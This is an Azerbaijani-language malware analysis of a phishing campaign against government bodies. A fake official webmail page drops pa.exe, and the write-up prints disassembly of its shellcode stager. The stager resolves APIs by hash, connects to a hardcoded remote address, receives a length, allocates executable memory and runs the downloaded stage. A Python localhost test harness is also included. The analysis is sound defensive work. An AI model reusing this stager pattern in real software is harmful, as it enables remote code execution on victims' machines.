Yerli dövlət orqanlarına göndərilən təhlükəli məktublar haqqında məlumat aldıqdan sonra şübhəli məktublardan birini araşdırmağa başladıq. Gələn məktub istifadəçini başqa bir ünvana yönləndirirdi. Bu ünvana daxil olduğumuz zaman dövlət orqanları üçün nəzərdə tutulmuş rəsmi e-poçt xidmətinin bənzəri ilə qarşılaşdıq (Fişinq).
Bu hissədə "hədəf" istifadəçi adı və şifrəni daxil etdikdən sonra web bələdçi pa.exe adında faylı sistemə endirir. Kodları analiz etmədən öncə icra edilə bilən faylın import tablosuna baxdıq. Burada import edilən 1 ədəd dinamik kitabxana faylı KERNEL32.DLL və sözügedən kitabxanaya aid 2 ədəd funksiya (VirtualAlloc, ExitProcess) var idi. Bu isə bizə kodların sıxışdırıldığı və ya shell kodlarından ibarət olduğu haqqında ipucu verirdi.
Daha dəqiq məlumat almaq üçün faylın statik analizinə başladıq və icra edilə bilən fayl içərisində shell kod olduğunu təyin etdik.
pop rbp
mov r14, 32335F327377h
push r14
mov r14, rsp
sub rsp, 1A0h
mov r13, rsp
mov r12, 51E6145E901F0002h
push r12
mov r12, rsp
mov rcx, r14
mov r10d, 726774Ch
call rbp
Zərərverici ilk olaraq PEB_LDR_DATA üzərindən proqramın yaddaşında olan modulların siyahısı (yaddaş sırasına görə) götürür.
Daha sonra bir bir modul adlarının hash dəyərlərini hesablayır.
Hash dəyəri hesablanan modulun yüklənmə (base) adresi götürülür və kitabxana fayllarını təhlil edərək export qovluğuna (IMAGE_EXPORT_DIRECTORY) baxır. Əgər NULL olarsa yuxarıdakı əməliyyatları yenidən növbəti modul üzərində təkrarlayır. Əgər export qovluğu mövcuddursa bu qovluğun təhlilinə başlayır. Ilk olaraq export edilən funksiyaları gəzir və yuxarıda göstərilən oxşar metod ilə hash əməliyyatını funksiya adları üzərində yenidən icra edir. Daha sonra modul adından aldığı hash dəyər ilə funksiya adının hash dəyərini toplayır və öncədən sub_1400040D6 rutinindən əldə etdiyi dəyər (lər) ilə qarşılaşdırır.
Əgər hash dəyərlər eyni olarsa sözü gedən kitabxanaya aid funksiya çağrılır. Əməliyyat zamanı ilk olaraq çağrılan funksiya KERNEL32.DLL kitabxanası içərisində olan LoadLibrary funksiyası oldu. Bu funksiyanı WS2_32.DLL kitabxanasını yaddaşına yükləmək üçün çağırırdı.
WS2_32.DLL kitabxanasını yaddaşa yüklədikdən sonra bu kitabxananın dəstəyi ilə bağlantı qurmağa cəhd edir. İlk olaraq WSAStartup ardınca isə WSASocket funksiyaları çağrılır.
.vdhx:000000014000410D push 101h
.vdhx:0000000140004112 pop rcx
.vdhx:0000000140004113 mov r10d, 6B8029h ; WSAStartup
.vdhx:0000000140004119 call rbp
.vdhx:000000014000411B push 0Ah
.vdhx:000000014000411D pop r14
.vdhx:000000014000411F
.vdhx:000000014000411F loc_14000411F: ; CODE XREF: sub_1400040D6+108↓j
.vdhx:000000014000411F push rax
.vdhx:0000000140004120 push rax
.vdhx:0000000140004121 xor r9, r9
.vdhx:0000000140004124 xor r8, r8
.vdhx:0000000140004127 inc rax
.vdhx:000000014000412A mov rdx, rax
.vdhx:000000014000412D inc rax
.vdhx:0000000140004130 mov rcx, rax
.vdhx:0000000140004133 mov r10d, 0E0DF0FEAh ; WSASocketA
.vdhx:0000000140004139 call rbp
Bu əməliyyatlar uğurla icra olunduqdan sonra isə qoşulma əməliyyatı üçün connect funksiyasını çağrılır.
Bağlantı adresi fəaliyyətini dayandırmışdı. Buna görə shellcodun nə etdiyini anlamaq üçün ip adresdə dəyişiklik (patch) edərək lokal ünvana 127.0.0.1:8080 yönləndirdik. Bundan sonra shellcode recv funksiyasını çağırır və socketdən 4 baytlıq məlumat oxuyur.
Əməliyyatı simulyasiya etmək üçün pythonda kiçik bir kod yazmalı olduq. conn.send əmri ilə shellkoda 4 baytlıq məlumat ("AAAA") göndərdik.
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("127.0.0.1",8080))
s.listen(1)
conn, addr = s.accept()
conn.send(b'AAAA')
4 baytlıq məlumatı qəbul etdikdən sonra shellcode VirtualAlloc funksiyası ilə yaddaşda boş yer ayırır. Burada diqqətimizi çəkən məqam shellkodun VirtualAlloc funksiyasını çağırdığı zaman ayıracağı bölgənin həcmini bizim göndərdiyimiz 4 baytlıq məlumatdan alması idi.
Bir digər məqam isə VirtualAlloc funksiyasının sonuncu parametri (flProtect = 0x40) idi. Bu parametr ilə çağrılan funksiya sistemə ayrlan boş ərazidə kod icrasına icazə verdiyini bildirir.
PAGE_EXECUTE_READWRITE (0x40) - Enables execute, read-only, or read/write access to the committed region of pages.
Daha sonra isə 2. dəfə recv funskiyası çağrılır və bu dəfə qarşı tərəfdən "0x41414141" həcmində məlumatı oxuyur.
Göndəridyimiz məlumatın həcmi çox olacağı üçün shellcode daha çox recv funksiyası çağırmaq məcburiyyətində qalmaması üçün məlumat həcmini kiçik tutduq. 0x4 bayt həcmində məlumat göndərib shellcode son olaraq nə etdiyininə baxmaq istədik. Məlumatı oxuduqdan sonra onu ayrılan yaddaş bölgəsinə yazır və icra edir.
import struct
shellcode_len = struct.pack("<I", 4)
conn.send(shellcode_len)
conn.send(b'\x90\x90\xcc\xcc')